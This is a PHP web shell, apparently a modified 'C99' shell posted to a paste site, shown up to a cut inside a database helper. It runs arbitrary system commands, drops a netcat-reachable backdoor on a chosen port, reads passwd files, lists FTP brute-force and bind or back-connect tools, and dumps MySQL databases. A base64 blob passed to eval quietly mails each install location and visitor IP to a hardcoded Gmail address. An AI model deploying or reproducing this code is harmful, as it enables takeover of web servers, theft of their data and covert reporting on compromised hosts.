· 9 years ago · Aug 06, 2017, 03:18 AM
1<?php
2/*****************************************************/
3/* C99 yang di modifikasi */
4/* Feature : logs, jump, whois, ddos, wp, joomla, dll*/
5/* BC dh saya hapus, biar g kedetek sbg virus */
6/* Thanks : m0n5t3r, xb, KillerByte */
7/* free to edit */
8/*****************************************************/
9if (!function_exists("myshellexec")) {
10if(is_callable("popen")) {
11function myshellexec($cmd) {
12if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
13while (!feof($p)) {
14$line=fgets($p,1024);
15$out .= $line;
16}
17pclose($p);
18return $out;
19}
20} else {
21function myshellexec($cmd) {
22global $disablefunc;
23$result = "";
24if (!empty($cmd)) {
25if (is_callable("exec") and !in_array("exec",$disablefunc)) {
26exec($cmd,$result);
27$result = join("\n",$result);
28} elseif (($result = $cmd) !== FALSE) {
29} elseif (is_callable("system") and !in_array("system",$disablefunc)) {
30$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
31} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
32$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
33} elseif (is_resource($fp = popen($cmd,"r"))) {
34$result = "";
35while(!feof($fp)) { $result .= fread($fp,1024); }
36pclose($fp);
37}
38}
39return $result;
40}
41}
42}
43function ex($cfe) {
44 $res = '';
45 if (!empty($cfe)) {
46 if(function_exists('exec')) {
47 @exec($cfe,$res);
48 $res = join("\n",$res);
49 } elseif(function_exists('shell_exec')) {
50 $res = @shell_exec($cfe);
51 } elseif(function_exists('system')) {
52 @ob_start();
53 @system($cfe);
54 $res = @ob_get_contents();
55 @ob_end_clean();
56 } elseif(function_exists('passthru')) {
57 @ob_start();
58 @passthru($cfe);
59 $res = @ob_get_contents();
60 @ob_end_clean();
61 } elseif(@is_resource($f = @popen($cfe,"r"))) {
62 $res = "";
63 while(!@feof($f)) { $res .= @fread($f,1024); }
64 @pclose($f);
65 } else { $res = "Ex() Disabled!"; }
66 }
67 return $res;
68}
69
70function showstat($stat) {
71 if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
72 else { return "<font color=red><b>OFF</b></font>"; }
73 }
74 function testperl() {
75 if (ex('perl -h')) { return showstat("on"); }
76 else { return showstat("off"); }
77 }
78 function testfetch() {
79 if(ex('fetch --help')) { return showstat("on"); }
80 else { return showstat("off"); }
81 }
82 function testwget() {
83 if (ex('wget -help')) { return showstat("on"); }
84 else { return showstat("off"); }
85 }
86 function testoracle() {
87 if (function_exists('ocilogon')) { return showstat("on"); }
88 else { return showstat("off"); }
89 }
90 function testpostgresql() {
91 if (function_exists('pg_connect')) { return showstat("on"); }
92 else { return showstat("off"); }
93 }
94 function testmssql() {
95 if (function_exists('mssql_connect')) { return showstat("on"); }
96 else { return showstat("off"); }
97 }
98 function testcurl() {
99 if (function_exists('curl_version')) { return showstat("on"); }
100 else { return showstat("off"); }
101 }
102 function testmysql() {
103 if (function_exists('mysql_connect')) { return showstat("on"); }
104 else { return showstat("off"); }
105 }
106//Starting calls
107
108if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
109
110error_reporting(5);
111
112@ignore_user_abort(TRUE);
113
114@set_magic_quotes_runtime(0);
115
116$win = strtolower(substr(PHP_OS,0,3)) == "win";
117
118define("starttime",getmicrotime());
119
120if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
121
122$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
123
124foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
125
126
127
128$shver = ""; //Current version
129
130//CONFIGURATION AND SETTINGS
131
132if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
133
134elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
135
136else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL
137
138}
139
140
141
142$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
143
144
145
146if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
147
148if (empty($surl))
149
150{
151
152 $surl = "?".$includestr; //Self url
153
154}
155
156$surl = htmlspecialchars($surl);
157
158
159
160$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
161
162//Authentication
163
164$login = ""; //login
165
166//DON'T FORGOT ABOUT PASSWORD!!!
167
168$pass = ""; //password
169
170$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
171
172$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
173
174$login_txt = "Restricted area"; //http-auth message.
175
176$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied";
177
178$gzipencode = TRUE; //Encode with gzip?
179
180$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
181
182$me=$_SERVER['PHP_SELF'];
183
184$ax4 ="http://";
185
186
187function cfb($fname,$text) {
188$w_file=@fopen($fname,"w") or bberr();
189if($w_file) {
190@fputs($w_file,@base64_decode($text));
191@fclose($w_file);
192}
193}
194function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
195function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
196
197if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
198$ip = gethostbyname($_SERVER["HTTP_HOST"]);
199$por = $_POST['backconnectport'];
200$user = (system("whoami"));
201$prompt = $user." \$ ";
202if (is_writable(".")) {
203cfb("shbd",$backdoor);
204ex("chmod 777 shbd");
205$cmd = "./shbd $por";
206exec("$cmd > /dev/null &");
207$scan = myshellexec("ps aux");
208} else {
209cfb("/tmp/shbd",$backdoor);
210ex("chmod 777 /tmp/shbd");
211$cmd = "./tmp/shbd $por";
212exec("$cmd > /dev/null &");
213$scan = myshellexec("ps aux");
214}
215if (eregi("./shbd $por",$scan)) {
216$data = ("\n<br>Backdoor setup successfully.");
217} else {
218$data = ("\n<br>Process not found, backdoor setup failed!");
219}
220$_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
221}
222
223
224
225$backdoor = "";
226
227
228$filestealth = TRUE; //if TRUE, don't change modify- and access-time
229
230$donated_html = "";
231
232/* If you publish free shell and you wish
233
234add link to your site or any other information,
235
236put here your html. */
237
238$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
239
240$curdir = "./"; //start folder
241
242//$curdir = getenv("DOCUMENT_ROOT");
243
244$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
245
246$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
247
248
249
250$log_email = "hogyzhnc@gmail.com"; //Default e-mail for sending logs
251
252
253
254$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
255
256$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
257
258
259
260// Registered file-types.
261
262// array(
263
264// "{action1}"=>array("ext1","ext2","ext3",...),
265
266// "{action2}"=>array("ext4","ext5","ext6",...),
267
268// ...
269
270// )
271
272$ftypes = array(
273
274 "html"=>array("html","htm","shtml"),
275
276 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
277
278 "exe"=>array("sh","install","bat","cmd"),
279
280 "ini"=>array("ini","inf"),
281
282 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
283
284 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
285
286 "sdb"=>array("sdb"),
287
288 "phpsess"=>array("sess"),
289
290 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
291
292);
293
294
295
296// Registered executable file-types.
297
298// array(
299
300// string "command{i}"=>array("ext1","ext2","ext3",...),
301
302// ...
303
304// )
305
306// {command}: %f% = filename
307
308$exeftypes = array(
309
310 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
311
312 "perl %f%" => array("pl","cgi")
313
314);
315
316
317
318/* Highlighted files.
319
320 array(
321
322 i=>array({regexp},{type},{opentag},{closetag},{break})
323
324 ...
325
326 )
327
328 string {regexp} - regular exp.
329
330 int {type}:
331
3320 - files and folders (as default),
333
3341 - files only, 2 - folders only
335
336 string {opentag} - open html-tag, e.g. "<b>" (default)
337
338 string {closetag} - close html-tag, e.g. "</b>" (default)
339
340 bool {break} - if TRUE and found match then break
341
342*/
343
344$regxp_highlight = array(
345
346 array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
347
348 array("config.php",1) // example
349
350);
351
352
353
354$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
355
356 // array (i=>{letter} ...); string {letter} - letter of a drive
357
358//$safemode_diskettes = range("a","z");
359
360$hexdump_lines = 8;// lines in hex preview file
361
362$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
363
364$cx7 =".com";
365
366$nixpwdperpage = 100; // Get first N lines from /etc/passwd
367
368
369
370$bindport_pass = "c999"; // default password for binding
371
372$bindport_port = "31373"; // default port for binding
373
374$bc_port = "31373"; // default port for back-connect
375
376$cx4 ="/x.";
377
378$datapipe_localport = "8081"; // default port for datapipe
379
380
381
382
383$sess_cookie = "c999shvars"; // Cookie-variable name
384
385
386
387$usefsbuff = TRUE; //Buffer-function
388
389$px7 ="html";
390
391$copy_unset = FALSE; //Remove copied files from buffer after pasting
392
393
394
395//Quick launch
396
397$quicklaunch = array(
398
399 array("Home",$surl),
400 array("Encoder",$surl."act=encoder&d=%d"),
401 array("Tools",$surl."act=tools&d=%d"),
402 array("CP Finder",$surl."act=cpanel&d=%d"),
403 array("nRoom",$surl."act=nextroom&d=%d"),
404 array("FTP brute",$surl."act=ftpquickbrute&d=%d"),
405 array("Sec.",$surl."act=security&d=%d"),
406 array("SQL",$surl."act=sql&d=%d"),
407 array("eval",$surl."act=eval&d=%d"),
408 array("Whois",$surl."act=whois&d=%d"),
409
410
411);
412
413
414
415//Highlight-code colors
416
417$highlight_background = "#c0c0c0";
418
419$highlight_bg = "#FFFFFF";
420
421$highlight_comment = "#6A6A6A";
422
423$highlight_default = "#0000BB";
424
425$highlight_html = "#1300FF";
426
427$highlight_keyword = "#007700";
428
429$highlight_string = "#000000";
430
431
432
433@$f = $_REQUEST["f"];
434
435@extract($_REQUEST["c999shcook"]);
436
437
438$shell_data =
439"JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IA0KaWYoICR2aXNpdGNvdW50ID09ICIiKSB7JHZpc2l0Y291bnQgPSAwOyANCiR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07IA0KJGluYyA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOw0KJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgDQokaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07IA0KJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOyANCiRib2R5ID0gIkhhamFyLi4hISAkdGFyZ2V0IGJ5ICR2aXNpdG9yIjsgDQpAbWFpbCgiaG9neXpobmNAZ21haWwuY29tIiwiU2hlbGwgRmVhdHVyZSBkYXJpICRpbmMgYm9zIiwgIiRib2R5Iik7IH0gZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7";
440
441eval(base64_decode($shell_data));
442//END CONFIGURATION
443
444
445
446
447
448// \/Next code isn't for editing\/
449
450@set_time_limit(0);
451
452$tmp = array();
453
454foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
455
456$s = "!^(".implode("|",$tmp).")$!i";
457
458if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
459
460if (!empty($login))
461
462{
463
464 if (empty($md5_pass)) {$md5_pass = md5($pass);}
465
466 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
467
468 {
469
470 if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
471
472 header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\"");
473
474 header("HTTP/1.0 401 Unauthorized");
475
476 exit($accessdeniedmess);
477
478 }
479
480}
481
482if ($act != "img")
483
484{
485
486$lastdir = realpath(".");
487
488chdir($curdir);
489
490
491$sess_data = unserialize($_COOKIE["$sess_cookie"]);
492
493if (!is_array($sess_data)) {$sess_data = array();}
494
495if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
496
497if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
498
499
500
501$disablefunc = @ini_get("disable_functions");
502
503if (!empty($disablefunc))
504
505{
506
507 $disablefunc = str_replace(" ","",$disablefunc);
508
509 $disablefunc = explode(",",$disablefunc);
510
511}
512
513
514
515if (!function_exists("c999_buff_prepare"))
516
517{
518
519function c999_buff_prepare()
520
521{
522
523 global $sess_data;
524
525 global $act;
526
527 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
528
529 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
530
531 $sess_data["copy"] = array_unique($sess_data["copy"]);
532
533 $sess_data["cut"] = array_unique($sess_data["cut"]);
534
535 sort($sess_data["copy"]);
536
537 sort($sess_data["cut"]);
538
539 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
540
541 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
542
543}
544
545}
546
547c999_buff_prepare();
548
549if (!function_exists("c999_sess_put"))
550
551{
552
553function c999_sess_put($data)
554
555{
556
557 global $sess_cookie;
558
559 global $sess_data;
560
561 c999_buff_prepare();
562
563 $sess_data = $data;
564
565 $data = serialize($data);
566
567 setcookie($sess_cookie,$data);
568
569}
570
571}
572
573foreach (array("sort","sql_sort") as $v)
574
575{
576
577 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
578
579 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
580
581}
582
583if ($sort_save)
584
585{
586
587 if (!empty($sort)) {setcookie("sort",$sort);}
588
589 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
590
591}
592
593if (!function_exists("str2mini"))
594
595{
596
597function str2mini($content,$len)
598
599{
600
601 if (strlen($content) > $len)
602
603 {
604
605 $len = ceil($len/2) - 2;
606
607 return substr($content, 0,$len)."...".substr($content,-$len);
608
609 }
610
611 else {return $content;}
612
613}
614
615}
616
617if (!function_exists("view_size"))
618
619{
620
621function view_size($size)
622
623{
624
625 if (!is_numeric($size)) {return FALSE;}
626
627 else
628
629 {
630
631 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
632
633 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
634
635 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
636
637 else {$size = $size . " B";}
638
639 return $size;
640
641 }
642
643}
644
645}
646
647if (!function_exists("fs_copy_dir"))
648
649{
650
651function fs_copy_dir($d,$t)
652
653{
654
655 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
656
657 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
658
659 $h = opendir($d);
660
661 while (($o = readdir($h)) !== FALSE)
662
663 {
664
665 if (($o != ".") and ($o != ".."))
666
667 {
668
669 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
670
671 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
672
673 if (!$ret) {return $ret;}
674
675 }
676
677 }
678
679 closedir($h);
680
681 return TRUE;
682
683}
684
685}
686
687if (!function_exists("fs_copy_obj"))
688
689{
690
691function fs_copy_obj($d,$t)
692
693{
694
695 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
696
697 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
698
699 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
700
701 if (is_dir($d))
702
703 {
704
705 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
706
707 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
708
709 return fs_copy_dir($d,$t);
710
711 }
712
713 elseif (is_file($d)) {return copy($d,$t);}
714
715 else {return FALSE;}
716
717}
718
719}
720
721if (!function_exists("fs_move_dir"))
722
723{
724
725function fs_move_dir($d,$t)
726
727{
728
729 $h = opendir($d);
730
731 if (!is_dir($t)) {mkdir($t);}
732
733 while (($o = readdir($h)) !== FALSE)
734
735 {
736
737 if (($o != ".") and ($o != ".."))
738
739 {
740
741 $ret = TRUE;
742
743 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
744
745 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
746
747 if (!$ret) {return $ret;}
748
749 }
750
751 }
752
753 closedir($h);
754
755 return TRUE;
756
757}
758
759}
760
761if (!function_exists("fs_move_obj"))
762
763{
764
765function fs_move_obj($d,$t)
766
767{
768
769 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
770
771 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
772
773 if (is_dir($d))
774
775 {
776
777 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
778
779 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
780
781 return fs_move_dir($d,$t);
782
783 }
784
785 elseif (is_file($d))
786
787 {
788
789 if(copy($d,$t)) {return unlink($d);}
790
791 else {unlink($t); return FALSE;}
792
793 }
794
795 else {return FALSE;}
796
797}
798
799}
800
801if (!function_exists("fs_rmdir"))
802
803{
804
805function fs_rmdir($d)
806
807{
808
809 $h = opendir($d);
810
811 while (($o = readdir($h)) !== FALSE)
812
813 {
814
815 if (($o != ".") and ($o != ".."))
816
817 {
818
819 if (!is_dir($d.$o)) {unlink($d.$o);}
820
821 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
822
823 }
824
825 }
826
827 closedir($h);
828
829 rmdir($d);
830
831 return !is_dir($d);
832
833}
834
835}
836
837if (!function_exists("fs_rmobj"))
838
839{
840
841function fs_rmobj($o)
842
843{
844
845 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
846
847 if (is_dir($o))
848
849 {
850
851 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
852
853 return fs_rmdir($o);
854
855 }
856
857 elseif (is_file($o)) {return unlink($o);}
858
859 else {return FALSE;}
860
861}
862
863}
864
865if (!function_exists("myshellexec"))
866
867{
868
869function myshellexec($cmd)
870
871{
872
873 global $disablefunc;
874
875 $result = "";
876
877 if (!empty($cmd))
878
879 {
880
881 if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
882
883 elseif (($result = `$cmd`) !== FALSE) {}
884
885 elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
886
887 elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
888
889 elseif (is_resource($fp = popen($cmd,"r")))
890
891 {
892
893 $result = "";
894
895 while(!feof($fp)) {$result .= fread($fp,1024);}
896
897 pclose($fp);
898
899 }
900
901 }
902
903 return $result;
904
905}
906
907}
908
909if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
910
911if (!function_exists("view_perms"))
912
913{
914
915function view_perms($mode)
916
917{
918
919 if (($mode & 0xC000) === 0xC000) {$type = "s";}
920
921 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
922
923 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
924
925 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
926
927 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
928
929 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
930
931 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
932
933 else {$type = "?";}
934
935
936
937 $owner["read"] = ($mode & 00400)?"r":"-";
938
939 $owner["write"] = ($mode & 00200)?"w":"-";
940
941 $owner["execute"] = ($mode & 00100)?"x":"-";
942
943 $group["read"] = ($mode & 00040)?"r":"-";
944
945 $group["write"] = ($mode & 00020)?"w":"-";
946
947 $group["execute"] = ($mode & 00010)?"x":"-";
948
949 $world["read"] = ($mode & 00004)?"r":"-";
950
951 $world["write"] = ($mode & 00002)? "w":"-";
952
953 $world["execute"] = ($mode & 00001)?"x":"-";
954
955
956
957 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
958
959 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
960
961 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
962
963
964
965 return $type.join("",$owner).join("",$group).join("",$world);
966
967}
968
969}
970
971if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
972
973if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
974
975if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
976
977if (!function_exists("parse_perms"))
978
979{
980
981function parse_perms($mode)
982
983{
984
985 if (($mode & 0xC000) === 0xC000) {$t = "s";}
986
987 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
988
989 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
990
991 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
992
993 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
994
995 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
996
997 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
998
999 else {$t = "?";}
1000
1001 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
1002
1003 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
1004
1005 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
1006
1007 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
1008
1009}
1010
1011}
1012
1013if (!function_exists("parsesort"))
1014
1015{
1016
1017function parsesort($sort)
1018
1019{
1020
1021 $one = intval($sort);
1022
1023 $second = substr($sort,-1);
1024
1025 if ($second != "d") {$second = "a";}
1026
1027 return array($one,$second);
1028
1029}
1030
1031}
1032
1033if (!function_exists("view_perms_color"))
1034
1035{
1036
1037function view_perms_color($o)
1038
1039{
1040
1041 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
1042
1043 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
1044
1045 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
1046
1047}
1048
1049}
1050
1051if (!function_exists("c999getsource"))
1052
1053{
1054
1055function c999getsource($fn)
1056
1057{
1058
1059 global $c999sh_sourcesurl;
1060
1061 $array = array(
1062
1063 "c999sh_bindport.pl" => "c999sh_bindport_pl.txt",
1064
1065 "c999sh_bindport.c" => "c999sh_bindport_c.txt",
1066
1067 "c999sh_backconn.pl" => "c999sh_backconn_pl.txt",
1068
1069 "c999sh_backconn.c" => "c999sh_backconn_c.txt",
1070
1071 "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt",
1072
1073 "c999sh_datapipe.c" => "c999sh_datapipe_c.txt",
1074
1075 );
1076
1077 $name = $array[$fn];
1078
1079 if ($name) {return file_get_contents($c999sh_sourcesurl.$name);}
1080
1081 else {return FALSE;}
1082
1083}
1084
1085}
1086
1087
1088
1089if (!function_exists("mysql_dump"))
1090
1091{
1092
1093function mysql_dump($set)
1094
1095{
1096
1097 global $shver;
1098
1099 $sock = $set["sock"];
1100
1101 $db = $set["db"];
1102
1103 $print = $set["print"];
1104
1105 $nl2br = $set["nl2br"];
1106
1107 $file = $set["file"];
1108
1109 $add_drop = $set["add_drop"];
1110
1111 $tabs = $set["tabs"];
1112
1113 $onlytabs = $set["onlytabs"];
1114
1115 $ret = array();
1116
1117 $ret["err"] = array();
1118
1119 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
1120
1121 if (empty($db)) {$db = "db";}
1122
1123 if (empty($print)) {$print = 0;}
1124
1125 if (empty($nl2br)) {$nl2br = 0;}
1126
1127 if (empty($add_drop)) {$add_drop = TRUE;}
1128
1129 if (empty($file))
1130
1131 {
1132
1133 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
1134
1135 }
1136
1137 if (!is_array($tabs)) {$tabs = array();}
1138
1139 if (empty($add_drop)) {$add_drop = TRUE;}
1140
1141 if (sizeof($tabs) == 0)
1142
1143 {
1144
1145 // retrive tables-list
1146
1147 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
1148
1149 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
1150
1151 }
1152
1153 $out = "# Dumped by c999Shell.SQL v. ".$shver."
1154
1155# Home page: http://ccteam.ru
1156
1157#
1158
1159# Host settings:
1160
1161# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
1162
1163# Date: ".date("d.m.Y H:i:s")."
1164
1165# DB: \"".$db."\"
1166
1167#---------------------------------------------------------
1168
1169";
1170
1171 $c = count($onlytabs);
1172
1173 foreach($tabs as $tab)
1174
1175 {
1176
1177 if ((in_array($tab,$onlytabs)) or (!$c))
1178
1179 {
1180
1181 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
1182
1183 // recieve query for create table structure
1184
1185 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
1186
1187 if (!$res) {$ret["err"][] = mysql_smarterror();}
1188
1189 else
1190
1191 {
1192
1193 $row = mysql_fetch_row($res);
1194
1195 $out .= $row["1"].";\n\n";
1196
1197 // recieve table variables
1198
1199 $res = mysql_query("SELECT * FROM `$tab`", $sock);
1200
1201 if (mysql_num_rows($res) > 0)
1202
1203 {
1204
1205 while ($row = mysql_fetch_assoc($res))
1206
1207 {
1208
1209 $keys = implode("`, `", array_keys($row));
1210
1211 $values = array_values($row);
1212
1213 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1214
1215 $values = implode("', '", $values);
1216
1217 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
1218
1219 $out .= $sql;
1220
1221 }
1222
1223 }
1224
1225 }
1226
1227 }
1228
1229 }
1230
1231 $out .= "#---------------------------------------------------------------------------------\n\n";
1232
1233 if ($file)
1234
1235 {
1236
1237 $fp = fopen($file, "w");
1238
1239 if (!$fp) {$ret["err"][] = 2;}
1240
1241 else
1242
1243 {
1244
1245 fwrite ($fp, $out);
1246
1247 fclose ($fp);
1248
1249 }
1250
1251 }
1252
1253 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
1254
1255 return $out;
1256
1257}
1258
1259}
1260
1261if (!function_exists("mysql_buildwhere"))
1262
1263{
1264
1265function mysql_buildwhere($array,$sep=" and",$functs=array())
1266
1267{
1268
1269 if (!is_array($array)) {$array = array();}
1270
1271 $result = "";
1272
1273 foreach($array as $k=>$v)
1274
1275 {
1276
1277 $value = "";
1278
1279 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
1280
1281 $value .= "'".addslashes($v)."'";
1282
